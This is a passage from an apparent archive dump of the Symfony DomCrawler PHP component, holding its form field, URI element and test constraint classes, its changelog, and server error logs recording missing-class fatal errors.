absolute URL to the constructor of the "%s" class ("%s" was passed).', __CLASS__, $this->currentUri)); } } /** * Gets the node associated with this link. */ public function getNode(): \DOMElement { return $this->node; } /** * Gets the method associated with this link. */ public function getMethod(): string { return $this->method ?? 'GET'; } /** * Gets the URI associated with this link. */ public function getUri(): string { return UriResolver::resolve($this->getRawUri(), $this->currentUri); } /** * Returns raw URI data. */ abstract protected function getRawUri(): string; /** * Returns the canonicalized URI path (see RFC 3986, section 5.2.4). * * @param string $path URI path */ protected function canonicalizePath(string $path): string { if ('' === $path || '/' === $path) { return $path; } if (str_ends_with($path, '.')) { $path .= '/'; } $output = []; foreach (explode('/', $path) as $segment) { if ('..' === $segment) { array_pop($output); } elseif ('.' !== $segment) { $output[] = $segment; } } return implode('/', $output); } /** * Sets current \DOMElement instance. * * @param \DOMElement $node A \DOMElement instance * * @return void * * @throws \LogicException If given node is not an anchor */ abstract protected function setNode(\DOMElement $node); } dom-crawler/error_log000064400000007334151113511450010701 0ustar00[19-Nov-2025 13:19:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\AbstractUriElement" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Image.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Image.php on line 17 [19-Nov-2025 17:45:58 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\AbstractUriElement" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Link.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Link.php on line 19 [19-Nov-2025 18:09:42 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Link" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Form.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Form.php on line 22 [19-Nov-2025 19:43:20 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\AbstractUriElement" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Image.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Image.php on line 17 [20-Nov-2025 00:18:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\AbstractUriElement" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Link.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Link.php on line 19 [20-Nov-2025 00:49:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Link" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Form.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Form.php on line 22 [24-Nov-2025 10:11:16 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\AbstractUriElement" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Link.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Link.php on line 19 [24-Nov-2025 10:17:44 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\AbstractUriElement" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Image.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Image.php on line 17 [24-Nov-2025 10:18:39 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Link" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Form.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Form.php on line 22 [25-Nov-2025 10:03:10 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\AbstractUriElement" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Image.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Image.php on line 17 [25-Nov-2025 10:45:37 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Link" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Form.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Form.php on line 22 [25-Nov-2025 10:54:18 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\AbstractUriElement" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Link.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Link.php on line 19 dom-crawler/Test/Constraint/CrawlerSelectorCount.php000064400000002252151113511450016643 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\DomCrawler\Crawler; final class CrawlerSelectorCount extends Constraint { public function __construct( private readonly int $count, private readonly string $selector, ) { } public function toString(): string { return sprintf('selector "%s" count is "%d"', $this->selector, $this->count); } /** * @param Crawler $crawler */ protected function matches($crawler): bool { return $this->count === \count($crawler->filter($this->selector)); } /** * @param Crawler $crawler */ protected function failureDescription($crawler): string { return sprintf('the Crawler selector "%s" was expected to be found %d time(s) but was found %d time(s)', $this->selector, $this->count, \count($crawler->filter($this->selector))); } } dom-crawler/Test/Constraint/CrawlerSelectorTextSame.php000064400000002443151113511450017307 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\DomCrawler\Crawler; final class CrawlerSelectorTextSame extends Constraint { private string $selector; private string $expectedText; public function __construct(string $selector, string $expectedText) { $this->selector = $selector; $this->expectedText = $expectedText; } public function toString(): string { return sprintf('has a node matching selector "%s" with content "%s"', $this->selector, $this->expectedText); } /** * @param Crawler $crawler */ protected function matches($crawler): bool { $crawler = $crawler->filter($this->selector); if (!\count($crawler)) { return false; } return $this->expectedText === trim($crawler->text(null, true)); } /** * @param Crawler $crawler */ protected function failureDescription($crawler): string { return 'the Crawler '.$this->toString(); } } dom-crawler/Test/Constraint/CrawlerSelectorAttributeValueSame.php000064400000002664151113511450021330 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\DomCrawler\Crawler; final class CrawlerSelectorAttributeValueSame extends Constraint { private string $selector; private string $attribute; private string $expectedText; public function __construct(string $selector, string $attribute, string $expectedText) { $this->selector = $selector; $this->attribute = $attribute; $this->expectedText = $expectedText; } public function toString(): string { return sprintf('has a node matching selector "%s" with attribute "%s" of value "%s"', $this->selector, $this->attribute, $this->expectedText); } /** * @param Crawler $crawler */ protected function matches($crawler): bool { $crawler = $crawler->filter($this->selector); if (!\count($crawler)) { return false; } return $this->expectedText === trim($crawler->attr($this->attribute) ?? ''); } /** * @param Crawler $crawler */ protected function failureDescription($crawler): string { return 'the Crawler '.$this->toString(); } } dom-crawler/Test/Constraint/CrawlerSelectorTextContains.php000064400000003161151113511450020176 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\DomCrawler\Crawler; final class CrawlerSelectorTextContains extends Constraint { private string $selector; private string $expectedText; private bool $hasNode = false; private string $nodeText; public function __construct(string $selector, string $expectedText) { $this->selector = $selector; $this->expectedText = $expectedText; } public function toString(): string { if ($this->hasNode) { return sprintf('the text "%s" of the node matching selector "%s" contains "%s"', $this->nodeText, $this->selector, $this->expectedText); } return sprintf('the Crawler has a node matching selector "%s"', $this->selector); } /** * @param Crawler $crawler */ protected function matches($crawler): bool { $crawler = $crawler->filter($this->selector); if (!\count($crawler)) { $this->hasNode = false; return false; } $this->hasNode = true; $this->nodeText = $crawler->text(null, true); return str_contains($this->nodeText, $this->expectedText); } /** * @param Crawler $crawler */ protected function failureDescription($crawler): string { return $this->toString(); } } dom-crawler/Test/Constraint/CrawlerSelectorExists.php000064400000002002151113511450017023 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\DomCrawler\Crawler; final class CrawlerSelectorExists extends Constraint { private string $selector; public function __construct(string $selector) { $this->selector = $selector; } public function toString(): string { return sprintf('matches selector "%s"', $this->selector); } /** * @param Crawler $crawler */ protected function matches($crawler): bool { return 0 < \count($crawler->filter($this->selector)); } /** * @param Crawler $crawler */ protected function failureDescription($crawler): string { return 'the Crawler '.$this->toString(); } } dom-crawler/FormFieldRegistry.php000064400000011571151113511450013073 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler; use Symfony\Component\DomCrawler\Field\FormField; /** * This is an internal class that must not be used directly. * * @internal */ class FormFieldRegistry { private array $fields = []; private string $base = ''; /** * Adds a field to the registry. */ public function add(FormField $field): void { $segments = $this->getSegments($field->getName()); $target = &$this->fields; while ($segments) { if (!\is_array($target)) { $target = []; } $path = array_shift($segments); if ('' === $path) { $target = &$target[]; } else { $target = &$target[$path]; } } $target = $field; } /** * Removes a field based on the fully qualified name and its children from the registry. */ public function remove(string $name): void { $segments = $this->getSegments($name); $target = &$this->fields; while (\count($segments) > 1) { $path = array_shift($segments); if (!\is_array($target) || !\array_key_exists($path, $target)) { return; } $target = &$target[$path]; } unset($target[array_shift($segments)]); } /** * Returns the value of the field based on the fully qualified name and its children. * * @return FormField|FormField[]|FormField[][] * * @throws \InvalidArgumentException if the field does not exist */ public function &get(string $name): FormField|array { $segments = $this->getSegments($name); $target = &$this->fields; while ($segments) { $path = array_shift($segments); if (!\is_array($target) || !\array_key_exists($path, $target)) { throw new \InvalidArgumentException(sprintf('Unreachable field "%s".', $path)); } $target = &$target[$path]; } return $target; } /** * Tests whether the form has the given field based on the fully qualified name. */ public function has(string $name): bool { try { $this->get($name); return true; } catch (\InvalidArgumentException) { return false; } } /** * Set the value of a field based on the fully qualified name and its children. * * @throws \InvalidArgumentException if the field does not exist */ public function set(string $name, mixed $value): void { $target = &$this->get($name); if ((!\is_array($value) && $target instanceof Field\FormField) || $target instanceof Field\ChoiceFormField) { $target->setValue($value); } elseif (\is_array($value)) { $registry = new static(); $registry->base = $name; $registry->fields = $value; foreach ($registry->all() as $k => $v) { $this->set($k, $v); } } else { throw new \InvalidArgumentException(sprintf('Cannot set value on a compound field "%s".', $name)); } } /** * Returns the list of field with their value. * * @return FormField[] The list of fields as [string] Fully qualified name => (mixed) value) */ public function all(): array { return $this->walk($this->fields, $this->base); } /** * Transforms a PHP array in a list of fully qualified name / value. */ private function walk(array $array, ?string $base = '', array &$output = []): array { foreach ($array as $k => $v) { $path = empty($base) ? $k : sprintf('%s[%s]', $base, $k); if (\is_array($v)) { $this->walk($v, $path, $output); } else { $output[$path] = $v; } } return $output; } /** * Splits a field name into segments as a web browser would do. * * getSegments('base[foo][3][]') = ['base', 'foo, '3', '']; * * @return string[] */ private function getSegments(string $name): array { if (preg_match('/^(?P[^[]+)(?P(\[.*)|$)/', $name, $m)) { $segments = [$m['base']]; while (!empty($m['extra'])) { $extra = $m['extra']; if (preg_match('/^\[(?P.*?)\](?P.*)$/', $extra, $m)) { $segments[] = $m['segment']; } else { $segments[] = $extra; } } return $segments; } return [$name]; } } dom-crawler/Image.php000064400000001622151113511450010511 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler; /** * Image represents an HTML image (an HTML img tag). */ class Image extends AbstractUriElement { public function __construct(\DOMElement $node, string $currentUri = null) { parent::__construct($node, $currentUri, 'GET'); } protected function getRawUri(): string { return $this->node->getAttribute('src'); } /** * @return void */ protected function setNode(\DOMElement $node) { if ('img' !== $node->nodeName) { throw new \LogicException(sprintf('Unable to visualize a "%s" tag.', $node->nodeName)); } $this->node = $node; } } dom-crawler/CHANGELOG.md000064400000007425151113511450010576 0ustar00CHANGELOG ========= 6.3 --- * Add `$useHtml5Parser` argument to `Crawler` * Add `CrawlerSelectorCount` test constraint * Add argument `$normalizeWhitespace` to `Crawler::innerText()` * Make `Crawler::innerText()` return the first non-empty text 6.0 --- * Remove `Crawler::parents()` method, use `ancestors()` instead 5.4 --- * Add `Crawler::innerText` method. 5.3 --- * The `parents()` method is deprecated. Use `ancestors()` instead. * Marked the `containsOption()`, `availableOptionValues()`, and `disableValidation()` methods of the `ChoiceFormField` class as internal 5.1.0 ----- * Added an internal cache layer on top of the CssSelectorConverter * Added `UriResolver` to resolve an URI according to a base URI 5.0.0 ----- * Added argument `$selector` to `Crawler::children()` * Added argument `$default` to `Crawler::text()` and `html()` 4.4.0 ----- * Added `Form::getName()` method. * Added `Crawler::matches()` method. * Added `Crawler::closest()` method. * Added `Crawler::outerHtml()` method. * Added an argument to the `Crawler::text()` method to opt-in normalizing whitespaces. 4.3.0 ----- * Added PHPUnit constraints: `CrawlerSelectorAttributeValueSame`, `CrawlerSelectorExists`, `CrawlerSelectorTextContains` and `CrawlerSelectorTextSame` * Added return of element name (`_name`) in `extract()` method. * Added ability to return a default value in `text()` and `html()` instead of throwing an exception when node is empty. * When available, the [html5-php library](https://github.com/Masterminds/html5-php) is used to parse HTML added to a Crawler for better support of HTML5 tags. 4.2.0 ----- * The `$currentUri` constructor argument of the `AbstractUriElement`, `Link` and `Image` classes is now optional. * The `Crawler::children()` method will have a new `$selector` argument in version 5.0, not defining it is deprecated. 3.1.0 ----- * All the URI parsing logic have been abstracted in the `AbstractUriElement` class. The `Link` class is now a child of `AbstractUriElement`. * Added an `Image` class to crawl images and parse their `src` attribute, and `selectImage`, `image`, `images` methods in the `Crawler` (the image version of the equivalent `link` methods). 2.5.0 ----- * [BC BREAK] The default value for checkbox and radio inputs without a value attribute have changed from '1' to 'on' to match the HTML specification. * [BC BREAK] The typehints on the `Link`, `Form` and `FormField` classes have been changed from `\DOMNode` to `DOMElement`. Using any other type of `DOMNode` was triggering fatal errors in previous versions. Code extending these classes will need to update the typehints when overwriting these methods. 2.4.0 ----- * `Crawler::addXmlContent()` removes the default document namespace again if it's an only namespace. * added support for automatic discovery and explicit registration of document namespaces for `Crawler::filterXPath()` and `Crawler::filter()` * improved content type guessing in `Crawler::addContent()` * [BC BREAK] `Crawler::addXmlContent()` no longer removes the default document namespace 2.3.0 ----- * added Crawler::html() * [BC BREAK] Crawler::each() and Crawler::reduce() now return Crawler instances instead of DomElement instances * added schema relative URL support to links * added support for HTML5 'form' attribute 2.2.0 ----- * added a way to set raw path to the file in FileFormField - necessary for simulating HTTP requests 2.1.0 ----- * added support for the HTTP PATCH method * refactored the Form class internals to support multi-dimensional fields (the public API is backward compatible) * added a way to get parsing errors for Crawler::addHtmlContent() and Crawler::addXmlContent() via libxml functions * added support for submitting a form without a submit button dom-crawler/Field/InputFormField.php000064400000002636151113511450013407 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler\Field; /** * InputFormField represents an input form field (an HTML input tag). * * For inputs with type of file, checkbox, or radio, there are other more * specialized classes (cf. FileFormField and ChoiceFormField). * * @author Fabien Potencier */ class InputFormField extends FormField { /** * Initializes the form field. * * @return void * * @throws \LogicException When node type is incorrect */ protected function initialize() { if ('input' !== $this->node->nodeName && 'button' !== $this->node->nodeName) { throw new \LogicException(sprintf('An InputFormField can only be created from an input or button tag (%s given).', $this->node->nodeName)); } $type = strtolower($this->node->getAttribute('type')); if ('checkbox' === $type) { throw new \LogicException('Checkboxes should be instances of ChoiceFormField.'); } if ('file' === $type) { throw new \LogicException('File inputs should be instances of FileFormField.'); } $this->value = $this->node->getAttribute('value'); } } dom-crawler/Field/FormField.php000064400000005066151113511450012367 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler\Field; /** * FormField is the abstract class for all form fields. * * @author Fabien Potencier */ abstract class FormField { /** * @var \DOMElement */ protected $node; /** * @var string */ protected $name; /** * @var string */ protected $value; /** * @var \DOMDocument */ protected $document; /** * @var \DOMXPath */ protected $xpath; /** * @var bool */ protected $disabled; /** * @param \DOMElement $node The node associated with this field */ public function __construct(\DOMElement $node) { $this->node = $node; $this->name = $node->getAttribute('name'); $this->xpath = new \DOMXPath($node->ownerDocument); $this->initialize(); } /** * Returns the label tag associated to the field or null if none. */ public function getLabel(): ?\DOMElement { $xpath = new \DOMXPath($this->node->ownerDocument); if ($this->node->hasAttribute('id')) { $labels = $xpath->query(sprintf('descendant::label[@for="%s"]', $this->node->getAttribute('id'))); if ($labels->length > 0) { return $labels->item(0); } } $labels = $xpath->query('ancestor::label[1]', $this->node); return $labels->length > 0 ? $labels->item(0) : null; } /** * Returns the name of the field. */ public function getName(): string { return $this->name; } /** * Gets the value of the field. */ public function getValue(): string|array|null { return $this->value; } /** * Sets the value of the field. * * @return void */ public function setValue(?string $value) { $this->value = $value ?? ''; } /** * Returns true if the field should be included in the submitted values. */ public function hasValue(): bool { return true; } /** * Check if the current field is disabled. */ public function isDisabled(): bool { return $this->node->hasAttribute('disabled'); } /** * Initializes the form field. * * @return void */ abstract protected function initialize(); } dom-crawler/Field/ChoiceFormField.php000064400000021473151113511450013502 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler\Field; /** * ChoiceFormField represents a choice form field. * * It is constructed from an HTML select tag, or an HTML checkbox, or radio inputs. * * @author Fabien Potencier */ class ChoiceFormField extends FormField { private string $type; private bool $multiple; private array $options; private bool $validationDisabled = false; /** * Returns true if the field should be included in the submitted values. * * @return bool true if the field should be included in the submitted values, false otherwise */ public function hasValue(): bool { // don't send a value for unchecked checkboxes if (\in_array($this->type, ['checkbox', 'radio']) && null === $this->value) { return false; } return true; } /** * Check if the current selected option is disabled. */ public function isDisabled(): bool { if (parent::isDisabled() && 'select' === $this->type) { return true; } foreach ($this->options as $option) { if ($option['value'] == $this->value && $option['disabled']) { return true; } } return false; } /** * Sets the value of the field. * * @return void */ public function select(string|array|bool $value) { $this->setValue($value); } /** * Ticks a checkbox. * * @return void * * @throws \LogicException When the type provided is not correct */ public function tick() { if ('checkbox' !== $this->type) { throw new \LogicException(sprintf('You cannot tick "%s" as it is not a checkbox (%s).', $this->name, $this->type)); } $this->setValue(true); } /** * Unticks a checkbox. * * @return void * * @throws \LogicException When the type provided is not correct */ public function untick() { if ('checkbox' !== $this->type) { throw new \LogicException(sprintf('You cannot untick "%s" as it is not a checkbox (%s).', $this->name, $this->type)); } $this->setValue(false); } /** * Sets the value of the field. * * @return void * * @throws \InvalidArgumentException When value type provided is not correct */ public function setValue(string|array|bool|null $value) { if ('checkbox' === $this->type && false === $value) { // uncheck $this->value = null; } elseif ('checkbox' === $this->type && true === $value) { // check $this->value = $this->options[0]['value']; } else { if (\is_array($value)) { if (!$this->multiple) { throw new \InvalidArgumentException(sprintf('The value for "%s" cannot be an array.', $this->name)); } foreach ($value as $v) { if (!$this->containsOption($v, $this->options)) { throw new \InvalidArgumentException(sprintf('Input "%s" cannot take "%s" as a value (possible values: "%s").', $this->name, $v, implode('", "', $this->availableOptionValues()))); } } } elseif (!$this->containsOption($value, $this->options)) { throw new \InvalidArgumentException(sprintf('Input "%s" cannot take "%s" as a value (possible values: "%s").', $this->name, $value, implode('", "', $this->availableOptionValues()))); } if ($this->multiple) { $value = (array) $value; } if (\is_array($value)) { $this->value = $value; } else { parent::setValue($value); } } } /** * Adds a choice to the current ones. * * @throws \LogicException When choice provided is not multiple nor radio * * @internal */ public function addChoice(\DOMElement $node): void { if (!$this->multiple && 'radio' !== $this->type) { throw new \LogicException(sprintf('Unable to add a choice for "%s" as it is not multiple or is not a radio button.', $this->name)); } $option = $this->buildOptionValue($node); $this->options[] = $option; if ($node->hasAttribute('checked')) { $this->value = $option['value']; } } /** * Returns the type of the choice field (radio, select, or checkbox). */ public function getType(): string { return $this->type; } /** * Returns true if the field accepts multiple values. */ public function isMultiple(): bool { return $this->multiple; } /** * Initializes the form field. * * @return void * * @throws \LogicException When node type is incorrect */ protected function initialize() { if ('input' !== $this->node->nodeName && 'select' !== $this->node->nodeName) { throw new \LogicException(sprintf('A ChoiceFormField can only be created from an input or select tag (%s given).', $this->node->nodeName)); } if ('input' === $this->node->nodeName && 'checkbox' !== strtolower($this->node->getAttribute('type')) && 'radio' !== strtolower($this->node->getAttribute('type'))) { throw new \LogicException(sprintf('A ChoiceFormField can only be created from an input tag with a type of checkbox or radio (given type is "%s").', $this->node->getAttribute('type'))); } $this->value = null; $this->options = []; $this->multiple = false; if ('input' == $this->node->nodeName) { $this->type = strtolower($this->node->getAttribute('type')); $optionValue = $this->buildOptionValue($this->node); $this->options[] = $optionValue; if ($this->node->hasAttribute('checked')) { $this->value = $optionValue['value']; } } else { $this->type = 'select'; if ($this->node->hasAttribute('multiple')) { $this->multiple = true; $this->value = []; $this->name = str_replace('[]', '', $this->name); } $found = false; foreach ($this->xpath->query('descendant::option', $this->node) as $option) { $optionValue = $this->buildOptionValue($option); $this->options[] = $optionValue; if ($option->hasAttribute('selected')) { $found = true; if ($this->multiple) { $this->value[] = $optionValue['value']; } else { $this->value = $optionValue['value']; } } } // if no option is selected and if it is a simple select box, take the first option as the value if (!$found && !$this->multiple && $this->options) { $this->value = $this->options[0]['value']; } } } /** * Returns option value with associated disabled flag. */ private function buildOptionValue(\DOMElement $node): array { $option = []; $defaultDefaultValue = 'select' === $this->node->nodeName ? '' : 'on'; $defaultValue = (isset($node->nodeValue) && !empty($node->nodeValue)) ? $node->nodeValue : $defaultDefaultValue; $option['value'] = $node->hasAttribute('value') ? $node->getAttribute('value') : $defaultValue; $option['disabled'] = $node->hasAttribute('disabled'); return $option; } /** * Checks whether given value is in the existing options. * * @internal */ public function containsOption(string $optionValue, array $options): bool { if ($this->validationDisabled) { return true; } foreach ($options as $option) { if ($option['value'] == $optionValue) { return true; } } return false; } /** * Returns list of available field options. * * @internal */ public function availableOptionValues(): array { $values = []; foreach ($this->options as $option) { $values[] = $option['value']; } return $values; } /** * Disables the internal validation of the field. * * @internal * * @return $this */ public function disableValidation(): static { $this->validationDisabled = true; return $this; } } dom-crawler/Field/error_log000064400000010172151113511450011716 0ustar00[19-Nov-2025 12:04:57 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Field\FormField" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/ChoiceFormField.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/ChoiceFormField.php on line 21 [19-Nov-2025 13:22:28 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Field\FormField" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/InputFormField.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/InputFormField.php on line 22 [20-Nov-2025 01:15:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Field\FormField" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/FileFormField.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/FileFormField.php on line 19 [20-Nov-2025 06:44:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Field\FormField" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/TextareaFormField.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/TextareaFormField.php on line 19 [25-Nov-2025 03:00:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Field\FormField" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/FileFormField.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/FileFormField.php on line 19 [25-Nov-2025 03:03:12 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Field\FormField" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/ChoiceFormField.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/ChoiceFormField.php on line 21 [25-Nov-2025 05:27:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Field\FormField" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/TextareaFormField.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/TextareaFormField.php on line 19 [25-Nov-2025 05:29:53 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Field\FormField" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/InputFormField.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/InputFormField.php on line 22 [25-Nov-2025 23:06:10 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Field\FormField" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/InputFormField.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/InputFormField.php on line 22 [25-Nov-2025 23:10:50 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Field\FormField" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/TextareaFormField.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/TextareaFormField.php on line 19 [26-Nov-2025 01:21:22 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Field\FormField" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/FileFormField.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/FileFormField.php on line 19 [26-Nov-2025 01:54:20 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\DomCrawler\Field\FormField" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/ChoiceFormField.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Field/ChoiceFormField.php on line 21 dom-crawler/Field/FileFormField.php000064400000006544151113511450013171 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler\Field; /** * FileFormField represents a file form field (an HTML file input tag). * * @author Fabien Potencier */ class FileFormField extends FormField { /** * Sets the PHP error code associated with the field. * * @param int $error The error code (one of UPLOAD_ERR_INI_SIZE, UPLOAD_ERR_FORM_SIZE, UPLOAD_ERR_PARTIAL, UPLOAD_ERR_NO_FILE, UPLOAD_ERR_NO_TMP_DIR, UPLOAD_ERR_CANT_WRITE, or UPLOAD_ERR_EXTENSION) * * @return void * * @throws \InvalidArgumentException When error code doesn't exist */ public function setErrorCode(int $error) { $codes = [\UPLOAD_ERR_INI_SIZE, \UPLOAD_ERR_FORM_SIZE, \UPLOAD_ERR_PARTIAL, \UPLOAD_ERR_NO_FILE, \UPLOAD_ERR_NO_TMP_DIR, \UPLOAD_ERR_CANT_WRITE, \UPLOAD_ERR_EXTENSION]; if (!\in_array($error, $codes)) { throw new \InvalidArgumentException(sprintf('The error code "%s" is not valid.', $error)); } $this->value = ['name' => '', 'type' => '', 'tmp_name' => '', 'error' => $error, 'size' => 0]; } /** * Sets the value of the field. * * @return void */ public function upload(?string $value) { $this->setValue($value); } /** * Sets the value of the field. * * @return void */ public function setValue(?string $value) { if (null !== $value && is_readable($value)) { $error = \UPLOAD_ERR_OK; $size = filesize($value); $info = pathinfo($value); $name = $info['basename']; // copy to a tmp location $tmp = sys_get_temp_dir().'/'.strtr(substr(base64_encode(hash('sha256', uniqid(mt_rand(), true), true)), 0, 7), '/', '_'); if (\array_key_exists('extension', $info)) { $tmp .= '.'.$info['extension']; } if (is_file($tmp)) { unlink($tmp); } copy($value, $tmp); $value = $tmp; } else { $error = \UPLOAD_ERR_NO_FILE; $size = 0; $name = ''; $value = ''; } $this->value = ['name' => $name, 'type' => '', 'tmp_name' => $value, 'error' => $error, 'size' => $size]; } /** * Sets path to the file as string for simulating HTTP request. * * @return void */ public function setFilePath(string $path) { parent::setValue($path); } /** * Initializes the form field. * * @return void * * @throws \LogicException When node type is incorrect */ protected function initialize() { if ('input' !== $this->node->nodeName) { throw new \LogicException(sprintf('A FileFormField can only be created from an input tag (%s given).', $this->node->nodeName)); } if ('file' !== strtolower($this->node->getAttribute('type'))) { throw new \LogicException(sprintf('A FileFormField can only be created from an input tag with a type of file (given type is "%s").', $this->node->getAttribute('type'))); } $this->setValue(null); } } dom-crawler/Field/TextareaFormField.php000064400000001756151113511450014067 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler\Field; /** * TextareaFormField represents a textarea form field (an HTML textarea tag). * * @author Fabien Potencier */ class TextareaFormField extends FormField { /** * Initializes the form field. * * @return void * * @throws \LogicException When node type is incorrect */ protected function 